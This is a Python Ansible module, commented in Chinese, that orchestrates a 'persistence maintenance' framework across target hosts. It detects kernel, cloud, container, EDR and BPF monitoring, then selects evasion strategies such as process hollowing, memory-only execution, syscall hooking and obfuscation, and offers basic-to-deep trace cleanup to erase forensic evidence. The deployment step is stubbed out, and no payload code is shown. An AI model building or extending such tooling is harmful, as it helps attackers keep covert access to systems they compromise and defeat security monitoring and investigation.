#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Ansible模块：权限维持系统
支持通过Playbook调用核心功能，包括批量部署、状态检查等
"""

import os
import sys
import json
import time
import subprocess
from pathlib import Path

# Ansible模块导入
try:
    from ansible.module_utils.basic import AnsibleModule
    ANSIBLE_AVAILABLE = True
except ImportError:
    ANSIBLE_AVAILABLE = False

# 添加项目路径到sys.path
current_dir = os.path.dirname(os.path.abspath(__file__))
project_root = os.path.join(current_dir, '..', '..')
sys.path.insert(0, project_root)

# 导入项目模块
try:
    from modules.environment.detector import KernelDetector
    from modules.environment.cloud_detector import CloudEnvironmentDetector
    from modules.environment.container_detector import ContainerEnvironmentDetector
    from modules.edr.scanner import EDRScanner
    from modules.edr.evader import EDREvader
    from modules.capabilities.analyzer import KernelCapabilitiesAnalyzer
    from modules.bpf.tracer import BPFTracer
    from modules.bpf.confrontation import BPFConfrontation
    from modules.cleanup.cleaner import TraceCleaner
    MODULES_AVAILABLE = True
except ImportError as e:
    MODULES_AVAILABLE = False
    IMPORT_ERROR = str(e)


class PrivilegeMAModule:
    """权限维持Ansible模块"""
    
    def __init__(self, module):
        self.module = module
        self.params = module.params
        self.result = {
            'changed': False,
            'msg': '',
            'ansible_facts': {},
            'warnings': [],
            'errors': []
        }
        
        # 验证模块可用性
        if not MODULES_AVAILABLE:
            self.fail_json(f"无法导入项目模块: {IMPORT_ERROR}")
    
    def fail_json(self, msg):
        """失败退出"""
        self.result['failed'] = True
        self.result['msg'] = msg
        self.module.fail_json(**self.result)
    
    def exit_json(self):
        """成功退出"""
        self.module.exit_json(**self.result)
    
    def run(self):
        """运行模块"""
        action = self.params.get('action')
        
        if action == 'deploy':
            self.deploy_system()
        elif action == 'check':
            self.check_status()
        elif action == 'scan':
            self.scan_environment()
        elif action == 'cleanup':
            self.cleanup_traces()
        elif action == 'full_analysis':
            self.full_analysis()
        else:
            self.fail_json(f"不支持的操作: {action}")
    
    def deploy_system(self):
        """部署权限维持系统"""
        try:
            target = self.params.get('target', 'localhost')
            evasion_level = self.params.get('evasion_level', 'medium')
            
            self.result['msg'] = f"开始在 {target} 部署权限维持系统"
            
            # 环境检测
            detector = KernelDetector()
            kernel_info = detector.detect_kernel()
            
            # 云环境检测
            cloud_detector = CloudEnvironmentDetector()
            cloud_info = cloud_detector.detect_cloud_environment()
            
            # 容器环境检测
            container_detector = ContainerEnvironmentDetector()
            container_info = container_detector.detect_container_environment()
            
            # EDR检测
            edr_scanner = EDRScanner()
            scan_results = edr_scanner.full_scan()
            
            # 根据检测结果选择部署策略
            deployment_strategy = self._select_deployment_strategy(
                kernel_info, cloud_info, container_info, scan_results, evasion_level
            )
            
            # 执行部署
            deployment_result = self._execute_deployment(deployment_strategy)
            
            self.result['changed'] = True
            self.result['ansible_facts'] = {
                'privilege_ma_deployed': True,
                'deployment_strategy': deployment_strategy,
                'deployment_result': deployment_result,
                'kernel_info': kernel_info,
                'cloud_info': cloud_info,
                'container_info': container_info,
                'edr_scan': scan_results
            }
            
            self.result['msg'] = f"权限维持系统部署完成，策略: {deployment_strategy['name']}"
            
        except Exception as e:
            self.fail_json(f"部署失败: {str(e)}")
    
    def check_status(self):
        """检查系统状态"""
        try:
            # 检查各模块状态
            status = {
                'kernel_detection': self._check_kernel_detection(),
                'edr_detection': self._check_edr_detection(),
                'bpf_monitoring': self._check_bpf_monitoring(),
                'trace_cleanup': self._check_trace_cleanup()
            }
            
            # 计算整体健康度
            healthy_modules = sum(1 for s in status.values() if s.get('status') == 'healthy')
            total_modules = len(status)
            health_percentage = (healthy_modules / total_modules) * 100
            
            self.result['ansible_facts'] = {
                'privilege_ma_status': status,
                'health_percentage': health_percentage,
                'is_healthy': health_percentage >= 75
            }
            
            self.result['msg'] = f"系统状态检查完成，健康度: {health_percentage:.1f}%"
            
        except Exception as e:
            self.fail_json(f"状态检查失败: {str(e)}")
    
    def scan_environment(self):
        """扫描环境"""
        try:
            scan_type = self.params.get('scan_type', 'full')
            
            scan_results = {}
            
            if scan_type in ['full', 'kernel']:
                # 内核检测
                detector = KernelDetector()
                scan_results['kernel'] = detector.detect_kernel()
            
            if scan_type in ['full', 'cloud']:
                # 云环境检测
                cloud_detector = CloudEnvironmentDetector()
                scan_results['cloud'] = cloud_detector.detect_cloud_environment()
            
            if scan_type in ['full', 'container']:
                # 容器环境检测
                container_detector = ContainerEnvironmentDetector()
                container_detector.detect_container_environment()
                scan_results['container'] = container_detector.generate_container_report()
            
            if scan_type in ['full', 'edr']:
                # EDR扫描
                edr_scanner = EDRScanner()
                scan_results['edr'] = edr_scanner.full_scan()
            
            if scan_type in ['full', 'capabilities']:
                # 内核能力分析
                analyzer = KernelCapabilitiesAnalyzer()
                scan_results['capabilities'] = analyzer.full_analysis()
            
            self.result['ansible_facts'] = {
                'environment_scan': scan_results,
                'scan_timestamp': time.strftime('%Y-%m-%d %H:%M:%S')
            }
            
            self.result['msg'] = f"环境扫描完成，类型: {scan_type}"
            
        except Exception as e:
            self.fail_json(f"环境扫描失败: {str(e)}")
    
    def cleanup_traces(self):
        """清理痕迹"""
        try:
            cleanup_level = self.params.get('cleanup_level', 'standard')
            
            cleaner = TraceCleaner()
            
            if cleanup_level == 'basic':
                cleanup_result = cleaner.basic_cleanup()
            elif cleanup_level == 'standard':
                cleanup_result = cleaner.standard_cleanup()
            elif cleanup_level == 'deep':
                cleanup_result = cleaner.deep_cleanup()
            else:
                self.fail_json(f"不支持的清理级别: {cleanup_level}")
            
            self.result['changed'] = True
            self.result['ansible_facts'] = {
                'cleanup_result': cleanup_result,
                'cleanup_level': cleanup_level,
                'cleanup_timestamp': time.strftime('%Y-%m-%d %H:%M:%S')
            }
            
            self.result['msg'] = f"痕迹清理完成，级别: {cleanup_level}"
            
        except Exception as e:
            self.fail_json(f"痕迹清理失败: {str(e)}")
    
    def full_analysis(self):
        """完整分析"""
        try:
            # 执行完整的环境分析
            analysis_results = {}
            
            # 1. 环境检测
            detector = KernelDetector()
            analysis_results['kernel'] = detector.detect_kernel()
            
            # 2. 云环境检测
            cloud_detector = CloudEnvironmentDetector()
            analysis_results['cloud'] = cloud_detector.detect_cloud_environment()
            
            # 3. 容器环境检测
            container_detector = ContainerEnvironmentDetector()
            container_detector.detect_container_environment()
            analysis_results['container'] = container_detector.generate_container_report()
            
            # 4. EDR扫描
            edr_scanner = EDRScanner()
            analysis_results['edr'] = edr_scanner.full_scan()
            
            # 5. 内核能力分析
            analyzer = KernelCapabilitiesAnalyzer()
            analysis_results['capabilities'] = analyzer.full_analysis()
            
            # 6. BPF监控检测
            bpf_tracer = BPFTracer()
            analysis_results['bpf'] = bpf_tracer.detect_bpf_monitoring()
            
            # 7. 生成综合报告
            comprehensive_report = self._generate_comprehensive_report(analysis_results)
            
            self.result['ansible_facts'] = {
                'full_analysis': analysis_results,
                'comprehensive_report': comprehensive_report,
                'analysis_timestamp': time.strftime('%Y-%m-%d %H:%M:%S')
            }
            
            self.result['msg'] = "完整分析完成"
            
        except Exception as e:
            self.fail_json(f"完整分析失败: {str(e)}")
    
    def _select_deployment_strategy(self, kernel_info, cloud_info, container_info, edr_scan, evasion_level):
        """选择部署策略"""
        strategy = {
            'name': 'default',
            'components': [],
            'evasion_techniques': [],
            'storage_paths': [],
            'execution_methods': []
        }
        
        # 根据环境类型调整策略
        if cloud_info.get('is_cloud'):
            strategy['name'] = f"cloud_{cloud_info.get('cloud_type', 'generic')}"
            strategy['storage_paths'].append('/dev/shm')  # 使用临时存储
            strategy['evasion_techniques'].append('cloud_agent_evasion')
        
        if container_info:
            strategy['name'] += '_container'
            strategy['evasion_techniques'].append('container_evasion')
        
        # 根据EDR检测结果调整
        detected_edrs = edr_scan.get('detected_edrs', [])
        if detected_edrs:
            strategy['evasion_techniques'].extend([
                f"edr_evasion_{edr['name'].lower()}" for edr in detected_edrs
            ])
        
        # 根据逃避级别调整
        if evasion_level == 'high':
            strategy['evasion_techniques'].extend([
                'advanced_obfuscation',
                'memory_only_execution',
                'syscall_hooking'
            ])
        elif evasion_level == 'medium':
            strategy['evasion_techniques'].extend([
                'basic_obfuscation',
                'process_hollowing'
            ])
        
        return strategy
    
    def _execute_deployment(self, strategy):
        """执行部署"""
        deployment_result = {
            'status': 'success',
            'deployed_components': [],
            'failed_components': [],
            'warnings': []
        }
        
        # 模拟部署过程
        for component in strategy.get('components', []):
            try:
                # 这里应该是实际的部署逻辑
                deployment_result['deployed_components'].append(component)
            except Exception as e:
                deployment_result['failed_components'].append({
                    'component': component,
                    'error': str(e)
                })
        
        # 如果有失败的组件，标记为部分成功
        if deployment_result['failed_components']:
            deployment_result['status'] = 'partial_success'
        
        return deployment_result
    
    def _check_kernel_detection(self):
        """检查内核检测模块"""
        try:
            detector = KernelDetector()
            kernel_info = detector.detect_kernel()
            return {
                'status': 'healthy' if kernel_info else 'unhealthy',
                'details': kernel_info
            }
        except Exception as e:
            return {
                'status': 'error',
                'error': str(e)
            }
    
    def _check_edr_detection(self):
        """检查EDR检测模块"""
        try:
            scanner = EDRScanner()
            scan_results = scanner.full_scan()
            return {
                'status': 'healthy',
                'details': scan_results
            }
        except Exception as e:
            return {
                'status': 'error',
                'error': str(e)
            }
    
    def _check_bpf_monitoring(self):
        """检查BPF监控模块"""
        try:
            tracer = BPFTracer()
            monitoring_status = tracer.detect_bpf_monitoring()
            return {
                'status': 'healthy',
                'details': monitoring_status
            }
        except Exception as e:
            return {
                'status': 'error',
                'error': str(e)
            }
    
    def _check_trace_cleanup(self):
        """检查痕迹清理模块"""
        try:
            cleaner = TraceCleaner()
            # 执行轻量级检查
            cleanup_status = cleaner.check_cleanup_capabilities()
            return {
                'status': 'healthy',
                'details': cleanup_status
            }
        except Exception as e:
            return {
                'status': 'error',
                'error': str(e)
            }
    
    def _generate_comprehensive_report(self, analysis_results):
        """生成综合报告"""
        report = {
            'summary': {},
            'recommendations': [],
            'risk_assessment': {},
            'deployment_suggestions': []
        }
        
        # 环境摘要
        report['summary']['environment'] = {
            'kernel_version': analysis_results.get('kernel', {}).get('version_string', 'Unknown'),
            'cloud_type': analysis_results.get('cloud', {}).get('cloud_type', 'None'),
            'container_type': analysis_results.get('container', {}).get('container_type', 'None'),
            'detected_edrs': len(analysis_results.get('edr', {}).get('detected_edrs', [])),
            'available_capabilities': len([
                cap for cap, available in analysis_results.get('capabilities', {}).items() 
                if available
            ])
        }
        
        # 风险评估
        risk_level = 'low'
        if analysis_results.get('edr', {}).get('detected_edrs'):
            risk_level = 'high'
        elif analysis_results.get('bpf', {}).get('monitoring_active'):
            risk_level = 'medium'
        
        report['risk_assessment'] = {
            'level': risk_level,
            'factors': []
        }
        
        # 部署建议
        if risk_level == 'high':
            report['deployment_suggestions'].extend([
                '使用高级逃避技术',
                '启用内存执行模式',
                '增强痕迹清理'
            ])
        elif risk_level == 'medium':
            report['deployment_suggestions'].extend([
                '使用标准逃避技术',
                '定期清理痕迹'
            ])
        else:
            report['deployment_suggestions'].append('可使用标准部署模式')
        
        return report


def main():
    """主函数"""
    # 定义模块参数
    module_args = dict(
        action=dict(type='str', required=True, choices=[
            'deploy', 'check', 'scan', 'cleanup', 'full_analysis'
        ]),
        target=dict(type='str', default='localhost'),
        evasion_level=dict(type='str', default='medium', choices=[
            'low', 'medium', 'high'
        ]),
        scan_type=dict(type='str', default='full', choices=[
            'full', 'kernel', 'cloud', 'container', 'edr', 'capabilities'
        ]),
        cleanup_level=dict(type='str', default='standard', choices=[
            'basic', 'standard', 'deep'
        ])
    )
    
    # 检查Ansible可用性
    if not ANSIBLE_AVAILABLE:
        # 如果不在Ansible环境中，提供独立运行模式
        print("Ansible模块：权限维持系统")
        print("注意：当前不在Ansible环境中运行")
        
        # 模拟参数
        class MockModule:
            def __init__(self):
                self.params = {
                    'action': 'scan',
                    'scan_type': 'full'
                }
            
            def fail_json(self, **kwargs):
                print(f"模块失败: {kwargs}")
                sys.exit(1)
            
            def exit_json(self, **kwargs):
                print(f"模块成功: {kwargs}")
                sys.exit(0)
        
        module = MockModule()
    else:
        # 创建Ansible模块
        module = AnsibleModule(
            argument_spec=module_args,
            supports_check_mode=True
        )
    
    # 运行模块
    privilege_ma = PrivilegeMAModule(module)
    privilege_ma.run()
    privilege_ma.exit_json()


if __name__ == '__main__':
    main()